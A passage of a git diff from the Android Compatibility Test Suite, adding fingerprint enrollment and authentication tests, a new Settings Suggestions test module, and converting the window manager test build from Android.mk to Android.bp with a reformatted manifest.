+                            mFingerprintManager.createTestSession(sensorEntry.getKey());
+                    session.cleanupInternalState(userEntry.getKey());
+                    session.close();
+                }
+            }
+        }
+
+        mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testEnroll() throws Exception {
+        for (SensorProperties prop : mSensorProperties) {
+            try (BiometricTestSession session
+                         = mFingerprintManager.createTestSession(prop.getSensorId())){
+                testEnrollForSensor(session, prop.getSensorId());
+            }
+        }
+    }
+
+    private void testEnrollForSensor(BiometricTestSession session, int sensorId) throws Exception {
+        final int userId = 0;
+
+        session.startEnroll(userId);
+        mInstrumentation.waitForIdleSync();
+        waitForIdleService();
+
+        session.finishEnroll(userId);
+        mInstrumentation.waitForIdleSync();
+        waitForIdleService();
+
+        final SensorStates sensorStates = getSensorStates();
+
+        // The (sensorId, userId) has one finger enrolled.
+        assertEquals(1, sensorStates.sensorStates
+                .get(sensorId).getUserStates().get(userId).numEnrolled);
+    }
+
+    @Test
+    public void testAuthenticateFromForegroundActivity() throws Exception {
+        // Turn screen on and dismiss keyguard
+        UiDeviceUtils.pressWakeupButton();
+        UiDeviceUtils.pressUnlockButton();
+
+        // Manually keep track and close the sessions, since we want to enroll all sensors before
+        // requesting auth.
+        final List<BiometricTestSession> testSessions = new ArrayList<>();
+
+        final int userId = 0;
+        for (SensorProperties prop : mSensorProperties) {
+            BiometricTestSession session =
+                    mFingerprintManager.createTestSession(prop.getSensorId());
+            testSessions.add(session);
+
+            session.startEnroll(userId);
+            mInstrumentation.waitForIdleSync();
+            waitForIdleService();
+
+            session.finishEnroll(userId);
+            mInstrumentation.waitForIdleSync();
+            waitForIdleService();
+        }
+
+        final TestJournal journal = TestJournalContainer.get(AUTH_ON_CREATE_ACTIVITY);
+
+        // Launch test activity
+        launchActivity(AUTH_ON_CREATE_ACTIVITY);
+        mWmState.waitForActivityState(AUTH_ON_CREATE_ACTIVITY, WindowManagerState.STATE_RESUMED);
+        mInstrumentation.waitForIdleSync();
+
+        // At least one sensor should be authenticating
+        assertFalse(getSensorStates().areAllSensorsIdle());
+
+        // Nothing happened yet
+        FingerprintCallbackHelper.State callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(0, callbackState.mNumAuthRejected);
+        assertEquals(0, callbackState.mNumAuthAccepted);
+        assertEquals(0, callbackState.mAcquiredReceived.size());
+        assertEquals(0, callbackState.mErrorsReceived.size());
+
+        // Auth and check again now
+        testSessions.get(0).acceptAuthentication(userId);
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertTrue(callbackState.mErrorsReceived.isEmpty());
+        assertTrue(callbackState.mAcquiredReceived.isEmpty());
+        assertEquals(1, callbackState.mNumAuthAccepted);
+        assertEquals(0, callbackState.mNumAuthRejected);
+
+        // Cleanup
+        for (BiometricTestSession session : testSessions) {
+            session.close();
+        }
+    }
+
+    @Test
+    public void testRejectThenErrorFromForegroundActivity() throws Exception {
+        // Turn screen on and dismiss keyguard
+        UiDeviceUtils.pressWakeupButton();
+        UiDeviceUtils.pressUnlockButton();
+
+        // Manually keep track and close the sessions, since we want to enroll all sensors before
+        // requesting auth.
+        final List<BiometricTestSession> testSessions = new ArrayList<>();
+
+        final int userId = 0;
+        for (SensorProperties prop : mSensorProperties) {
+            BiometricTestSession session =
+                    mFingerprintManager.createTestSession(prop.getSensorId());
+            testSessions.add(session);
+
+            session.startEnroll(userId);
+            mInstrumentation.waitForIdleSync();
+            waitForIdleService();
+
+            session.finishEnroll(userId);
+            mInstrumentation.waitForIdleSync();
+            waitForIdleService();
+        }
+
+        final TestJournal journal = TestJournalContainer.get(AUTH_ON_CREATE_ACTIVITY);
+
+        // Launch test activity
+        launchActivity(AUTH_ON_CREATE_ACTIVITY);
+        mWmState.waitForActivityState(AUTH_ON_CREATE_ACTIVITY, WindowManagerState.STATE_RESUMED);
+        mInstrumentation.waitForIdleSync();
+        FingerprintCallbackHelper.State callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+
+        // Fingerprint rejected
+        testSessions.get(0).rejectAuthentication(userId);
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(1, callbackState.mNumAuthRejected);
+        assertEquals(0, callbackState.mNumAuthAccepted);
+        assertEquals(0, callbackState.mAcquiredReceived.size());
+        assertEquals(0, callbackState.mErrorsReceived.size());
+
+        // Send an acquire message
+        testSessions.get(0).notifyAcquired(userId, FingerprintManager.FINGERPRINT_ACQUIRED_PARTIAL);
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(1, callbackState.mNumAuthRejected);
+        assertEquals(0, callbackState.mNumAuthAccepted);
+        assertEquals(1, callbackState.mAcquiredReceived.size());
+        assertEquals(FingerprintManager.FINGERPRINT_ACQUIRED_PARTIAL,
+                (int) callbackState.mAcquiredReceived.get(0));
+        assertEquals(0, callbackState.mErrorsReceived.size());
+
+        // Send an error
+        testSessions.get(0).notifyError(userId,
+                FingerprintManager.FINGERPRINT_ERROR_CANCELED);
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(1, callbackState.mNumAuthRejected);
+        assertEquals(0, callbackState.mNumAuthAccepted);
+        assertEquals(1, callbackState.mAcquiredReceived.size());
+        assertEquals(FingerprintManager.FINGERPRINT_ACQUIRED_PARTIAL,
+                (int) callbackState.mAcquiredReceived.get(0));
+        assertEquals(1, callbackState.mErrorsReceived.size());
+        assertEquals(FingerprintManager.FINGERPRINT_ERROR_CANCELED,
+                (int) callbackState.mErrorsReceived.get(0));
+
+        // Authentication lifecycle is done
+        assertTrue(getSensorStates().areAllSensorsIdle());
+
+        // Cleanup
+        for (BiometricTestSession session : testSessions) {
+            session.close();
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/suggestions/Android.bp b/tests/framework/base/suggestions/Android.bp
new file mode 100644
index 0000000..f3b297b
--- /dev/null
+++ b/tests/framework/base/suggestions/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSettingsSuggestionsTest",
+    defaults: ["cts_defaults"],
+    libs: ["android.test.runner"],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "junit",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/framework/base/suggestions/AndroidManifest.xml b/tests/framework/base/suggestions/AndroidManifest.xml
new file mode 100644
index 0000000..85e7f34
--- /dev/null
+++ b/tests/framework/base/suggestions/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.service.settings.suggestions.cts"
+    android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.service.settings.suggestions.cts"
+        android:label="CTS tests of android.service.settings.suggestions">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/framework/base/suggestions/AndroidTest.xml b/tests/framework/base/suggestions/AndroidTest.xml
new file mode 100644
index 0000000..314acd5
--- /dev/null
+++ b/tests/framework/base/suggestions/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Settings Suggestions test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSettingsSuggestionsTest.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.service.settings.suggestions.cts" />
+    </test>
+</configuration>
diff --git a/tests/framework/base/suggestions/OWNERS b/tests/framework/base/suggestions/OWNERS
new file mode 100644
index 0000000..a64a049
--- /dev/null
+++ b/tests/framework/base/suggestions/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 27091
+tmfang@google.com
\ No newline at end of file
diff --git a/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java b/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
new file mode 100644
index 0000000..adac3b6
--- /dev/null
+++ b/tests/framework/base/suggestions/src/android/service/settings/suggestions/SuggestionTest.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.service.settings.suggestions;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.Icon;
+import android.os.Parcel;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class SuggestionTest {
+    private static final String TEST_ID = "id";
+    private static final String TEST_TITLE = "title";
+    private static final String TEST_SUMMARY = "summary";
+
+    private Icon mIcon;
+    private PendingIntent mTestIntent;
+
+
+    @Before
+    public void setUp() {
+        final Context context = InstrumentationRegistry.getContext();
+        mTestIntent = PendingIntent.getActivity(context, 0 /* requestCode */,
+                new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED /* flags */);
+        mIcon = Icon.createWithBitmap(Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888));
+    }
+
+    @Test
+    public void buildSuggestion_allFieldsShouldBeSet() {
+        final Suggestion suggestion = new Suggestion.Builder(TEST_ID)
+                .setTitle(TEST_TITLE)
+                .setSummary(TEST_SUMMARY)
+                .setIcon(mIcon)
+                .setPendingIntent(mTestIntent)
+                .build();
+
+        assertThat(suggestion.getId()).isEqualTo(TEST_ID);
+        assertThat(suggestion.getTitle()).isEqualTo(TEST_TITLE);
+        assertThat(suggestion.getSummary()).isEqualTo(TEST_SUMMARY);
+        assertThat(suggestion.getIcon()).isEqualTo(mIcon);
+        assertThat(suggestion.getFlags()).isEqualTo(0);
+        assertThat(suggestion.getPendingIntent()).isEqualTo(mTestIntent);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void buildSuggestion_emptyKey_shouldCrash() {
+        new Suggestion.Builder(null)
+                .setTitle(TEST_TITLE)
+                .setSummary(TEST_SUMMARY)
+                .setPendingIntent(mTestIntent)
+                .setIcon(mIcon)
+                .build();
+    }
+
+    @Test
+    public void buildSuggestion_fromParcelable() {
+        final Parcel parcel = Parcel.obtain();
+        final Suggestion oldSuggestion = new Suggestion.Builder(TEST_ID)
+                .setTitle(TEST_TITLE)
+                .setSummary(TEST_SUMMARY)
+                .setIcon(mIcon)
+                .setFlags(Suggestion.FLAG_HAS_BUTTON)
+                .setPendingIntent(mTestIntent)
+                .build();
+
+        oldSuggestion.writeToParcel(parcel, 0 /* flags */);
+        parcel.setDataPosition(0);
+        final Suggestion newSuggestion = Suggestion.CREATOR.createFromParcel(parcel);
+
+        assertThat(newSuggestion.getId()).isEqualTo(TEST_ID);
+        assertThat(newSuggestion.getTitle()).isEqualTo(TEST_TITLE);
+        assertThat(newSuggestion.getSummary()).isEqualTo(TEST_SUMMARY);
+        assertThat(newSuggestion.getIcon().toString()).isEqualTo(mIcon.toString());
+        assertThat(newSuggestion.getFlags())
+                .isEqualTo(Suggestion.FLAG_HAS_BUTTON);
+        assertThat(newSuggestion.getPendingIntent()).isEqualTo(mTestIntent);
+    }
+}
diff --git a/tests/framework/base/windowmanager/Android.bp b/tests/framework/base/windowmanager/Android.bp
index 9568ff5..8c5af8c 100644
--- a/tests/framework/base/windowmanager/Android.bp
+++ b/tests/framework/base/windowmanager/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 filegroup {
     name: "cts-wm-components",
     srcs: ["**/Components.java"],
@@ -35,3 +31,43 @@
     name: "cts-wm-force-relayout-test-base",
     srcs: ["src/android/server/wm/ForceRelayoutTestBase.java"],
 }
+
+android_test {
+    name: "CtsWindowManagerDeviceTestCases",
+    defaults: ["cts_defaults"],
+
+    srcs: [
+        "src/**/*.java",
+        "alertwindowservice/src/**/*.java",
+        ":cts-wm-components",
+        ":CtsVerifierMockVrListenerServiceFiles",
+    ],
+
+    resource_dirs: ["res"],
+
+    asset_dirs: ["intent_tests"],
+
+    libs: ["android.test.runner.stubs"],
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "hamcrest-library",
+        "platform-test-annotations",
+        "cts-wm-util",
+        "CtsSurfaceValidatorLib",
+        "CtsMockInputMethodLib",
+        "metrics-helper-lib",
+        "truth-prebuilt",
+        "cts-wm-overlayapp-base",
+        "cts-wm-shared",
+    ],
+
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/framework/base/windowmanager/Android.mk b/tests/framework/base/windowmanager/Android.mk
deleted file mode 100644
index 8a7f090..0000000
--- a/tests/framework/base/windowmanager/Android.mk
+++ /dev/null
@@ -1,53 +0,0 @@
-#
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests optional
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-java-files-under, alertwindowservice/src) \
-    $(call all-named-files-under,Components.java, *) \
-    ../../../../apps/CtsVerifier/src/com/android/cts/verifier/vr/MockVrListenerService.java \
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/intent_tests
-
-LOCAL_PACKAGE_NAME := CtsWindowManagerDeviceTestCases
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    androidx.test.ext.junit \
-    androidx.test.rules \
-    hamcrest-library \
-    platform-test-annotations \
-    cts-wm-util \
-    CtsSurfaceValidatorLib \
-    CtsMockInputMethodLib \
-    metrics-helper-lib \
-
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index ca0ea74..08f2f73 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -16,291 +16,279 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
-          package="android.server.wm.cts"
-          android:targetSandboxVersion="2">
+     xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+     package="android.server.wm.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.READ_LOGS" />
-    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.READ_LOGS"/>
+    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.STOP_APP_SWITCHES" />
-    <uses-permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT" />
-    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.STOP_APP_SWITCHES"/>
+    <uses-permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
     <application android:label="CtsWindowManagerDeviceTestCases"
-            android:requestLegacyExternalStorage="true">
+         android:requestLegacyExternalStorage="true">
         <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MaxAspectRatioActivity"
-            android:label="MaxAspectRatioActivity"
-            android:maxAspectRatio="1.0"
-            android:resizeableActivity="false" />
+        <activity android:name="android.server.wm.AspectRatioTests$MaxAspectRatioActivity"
+             android:label="MaxAspectRatioActivity"
+             android:maxAspectRatio="1.0"
+             android:resizeableActivity="false"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MetaDataMaxAspectRatioActivity"
-            android:label="MetaDataMaxAspectRatioActivity"
-            android:resizeableActivity="false">
-            <meta-data
-                android:name="android.max_aspect"
-                android:value="1.0" />
+        <activity android:name="android.server.wm.AspectRatioTests$MetaDataMaxAspectRatioActivity"
+             android:label="MetaDataMaxAspectRatioActivity"
+             android:resizeableActivity="false">
+            <meta-data android:name="android.max_aspect"
+                 android:value="1.0"/>
         </activity>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MaxAspectRatioResizeableActivity"
-            android:label="MaxAspectRatioResizeableActivity"
-            android:maxAspectRatio="1.0"
-            android:resizeableActivity="true" />
+        <activity android:name="android.server.wm.AspectRatioTests$MaxAspectRatioResizeableActivity"
+             android:label="MaxAspectRatioResizeableActivity"
+             android:maxAspectRatio="1.0"
+             android:resizeableActivity="true"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MaxAspectRatioUnsetActivity"
-            android:label="MaxAspectRatioUnsetActivity"
-            android:resizeableActivity="false" />
+        <activity android:name="android.server.wm.AspectRatioTests$MaxAspectRatioUnsetActivity"
+             android:label="MaxAspectRatioUnsetActivity"
+             android:resizeableActivity="false"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MinAspectRatioActivity"
-            android:label="MinAspectRatioActivity"
-            android:minWidth="1dp"
-            android:minAspectRatio="3.0"
-            android:resizeableActivity="false" />
+        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioActivity"
+             android:label="MinAspectRatioActivity"
+             android:minWidth="1dp"
+             android:minAspectRatio="3.0"
+             android:resizeableActivity="false"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MinAspectRatioResizeableActivity"
-            android:label="MinAspectRatioResizeableActivity"
-            android:minWidth="1dp"
-            android:minAspectRatio="3.0"
-            android:resizeableActivity="true" />
+        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioResizeableActivity"
+             android:label="MinAspectRatioResizeableActivity"
+             android:minWidth="1dp"
+             android:minAspectRatio="3.0"
+             android:resizeableActivity="true"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MinAspectRatioUnsetActivity"
-            android:label="MinAspectRatioUnsetActivity"
-            android:resizeableActivity="false" />
+        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioUnsetActivity"
+             android:label="MinAspectRatioUnsetActivity"
+             android:resizeableActivity="false"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MinAspectRatioLandscapeActivity"
-            android:label="MinAspectRatioLandscapeActivity"
-            android:minWidth="1dp"
-            android:minAspectRatio="3.0"
-            android:resizeableActivity="false"
-            android:screenOrientation="landscape" />
+        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioLandscapeActivity"
+             android:label="MinAspectRatioLandscapeActivity"
+             android:minWidth="1dp"
+             android:minAspectRatio="3.0"
+             android:resizeableActivity="false"
+             android:screenOrientation="landscape"/>
 
-        <activity
-            android:name="android.server.wm.AspectRatioTests$MinAspectRatioPortraitActivity"
-            android:label="MinAspectRatioPortraitActivity"
-            android:minWidth="1dp"
-            android:minAspectRatio="3.0"
-            android:resizeableActivity="false"
-            android:screenOrientation="portrait" />
+        <activity android:name="android.server.wm.AspectRatioTests$MinAspectRatioPortraitActivity"
+             android:label="MinAspectRatioPortraitActivity"
+             android:minWidth="1dp"
+             android:minAspectRatio="3.0"
+             android:resizeableActivity="false"
+             android:screenOrientation="portrait"/>
 
         <activity android:name="android.server.wm.ActivityManagerTestBase$SideActivity"
-                  android:resizeableActivity="true"
-                  android:taskAffinity="nobody.but.SideActivity"/>
+             android:resizeableActivity="true"
+             android:taskAffinity="nobody.but.SideActivity"/>
 
         <activity android:name="android.server.wm.ActivityManagerTestBase$ConfigChangeHandlingActivity"
-            android:resizeableActivity="true"
-            android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen" />
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
 
-        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$FirstActivity" />
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$FirstActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SecondActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$ThirdActivity"/>
 
-        <activity
-            android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TranslucentActivity"
-            android:theme="@android:style/Theme.Translucent.NoTitleBar" />
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TranslucentActivity"
+             android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
 
-        <activity
-            android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SecondTranslucentActivity"
-            android:theme="@android:style/Theme.Translucent.NoTitleBar" />
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SecondTranslucentActivity"
+             android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$CallbackTrackingActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SecondCallbackTrackingActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TranslucentCallbackTrackingActivity"
-                  android:theme="@android:style/Theme.Translucent.NoTitleBar" />
+             android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
 
-        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$ShowWhenLockedCallbackTrackingActivity" />
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$ShowWhenLockedCallbackTrackingActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SecondProcessCallbackTrackingActivity"
-                  android:process=":SecondProcess"
-                  android:exported="true"/>
+             android:process=":SecondProcess"
+             android:exported="true"/>
 
         <provider android:name="android.server.wm.lifecycle.LifecycleLog"
-                  android:authorities="android.server.wm.lifecycle.logprovider"
-                  android:exported="true" />
+             android:authorities="android.server.wm.lifecycle.logprovider"
+             android:exported="true"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$LaunchForResultActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$ResultActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SingleTopActivity"
-                  android:launchMode="singleTop" />
+             android:launchMode="singleTop"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$ConfigChangeHandlingActivity"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density" />
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$PipActivity"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:supportsPictureInPicture="true"/>
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:supportsPictureInPicture="true"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$AlwaysFocusablePipActivity"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  androidprv:alwaysFocusable="true"
-                  android:exported="true"/>
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             androidprv:alwaysFocusable="true"
+             android:exported="true"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$SlowActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$NoDisplayActivity"
-                  android:theme="@android:style/Theme.NoDisplay" />
+             android:theme="@android:style/Theme.NoDisplay"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$DifferentAffinityActivity"
-                  android:taskAffinity="nobody.but.DifferentAffinityActivity" />
+             android:taskAffinity="nobody.but.DifferentAffinityActivity"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TransitionSourceActivity"
-                  android:theme="@style/window_activity_transitions" />
+             android:theme="@style/window_activity_transitions"/>
 
         <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TransitionDestinationActivity"
-                  android:theme="@style/window_activity_transitions" />
+             android:theme="@style/window_activity_transitions"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$LaunchForwardResultActivity"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityLifecycleClientTestBase$TrampolineActivity"/>
 
         <activity android:name="android.server.wm.MultiDisplayActivityLaunchTests$ImmediateLaunchTestActivity"
-                  android:allowEmbedded="true" />
+             android:allowEmbedded="true"/>
 
         <activity android:name="android.server.wm.MultiDisplaySystemDecorationTests$ImeTestActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen" />
-        <activity android:name="android.server.wm.MultiDisplaySystemDecorationTests$ImeTestActivity2" />
-        <activity android:name="android.server.wm.MultiDisplaySystemDecorationTests$ImeTestActivityWithBrokenContextWrapper" />
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
+        <activity android:name="android.server.wm.MultiDisplaySystemDecorationTests$ImeTestActivity2"/>
+        <activity android:name="android.server.wm.MultiDisplaySystemDecorationTests$ImeTestActivityWithBrokenContextWrapper"/>
